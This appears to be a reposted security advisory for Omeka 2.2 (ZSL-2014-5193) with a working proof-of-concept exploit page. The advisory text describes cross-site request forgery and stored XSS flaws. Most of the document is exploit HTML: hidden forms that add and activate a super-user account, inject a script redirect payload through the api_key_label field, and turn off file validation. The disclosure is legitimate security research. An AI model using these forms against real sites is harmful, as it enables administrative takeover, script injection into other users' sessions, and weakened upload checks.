Bài liên quan
<!--Omeka 2.2 CSRF And Stored XSS VulnerabilityVendor: Omeka Team (CHNM GMU)Product web page: http://www.omeka.orgAffected version: 2.2Summary: Omeka is a free, flexible, and open source web-publishingplatform for the display of library, museum, archives, and scholarlycollections and exhibitions. Its 'five-minute setup' makes launchingan online exhibition as easy as launching a blog.Desc: Omeka version 2.2 suffers from a cross-site request forgery anda stored xss vulnerability. The application allows users to performcertain actions via HTTP requests without performing any validitychecks to verify the requests. This can be exploited to performcertain actions with administrative privileges if a logged-in uservisits a malicious web site. Input passed to the 'api_key_label' POSTparameter is not properly sanitised before being returned to the user.This can be exploited to execute arbitrary HTML and script code in auser's browser session in context of an affected site.Tested on: Kali Linux 3.7-trunk-686-pae Apache/2.2.22 (Debian) PHP 5.4.4-13(apache2handler) MySQL 5.5.28Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceAdvisory ID: ZSL-2014-5193Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.phpVendor: http://omeka.org/blog/2014/07/16/omeka-2-2-1-security-update-released/16.07.2014--><html><title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title><body><!-- CSRF Add Super User & Activate --><!-- Roles: Super, Admin, Researcher, Contributor --><form action="http://192.168.0.105/omeka-2.2/admin/users/add" method="POST"><input type="hidden" name="username" value="Hacker" /><input type="hidden" name="name" value="CSRF" /><input type="hidden" name="email" value="lab@zeroscience.mk" /><input type="hidden" name="role" value="super" /><input type="hidden" name="active" value="1" /><input type="hidden" name="submit" value="Add+User" /><input type="submit" value="Add Super User" /></form><!-- CSRF Add Persistent XSS --><form action="http://192.168.0.105/omeka-2.2/admin/users/api-keys/1" method="POST"><input type="hidden" name="api_key_label" value='<script>location.href="http://www.zeroscience.mk"</script>' /><input type="hidden" name="update_api_keys" value="Update+API+Keys" /><input type="submit" value="Insert Script" /></form><!-- CSRF Disable File Validation --><form action="http://192.168.0.105/omeka-2.2/admin/settings/edit-security" method="POST"><input type="hidden" name="disable_default_file_validation" value="1" /><input type="hidden" name="submit" value="Save+Changes" /><input type="submit" value="Disable File Validation" /></form></body></html>
Post a Comment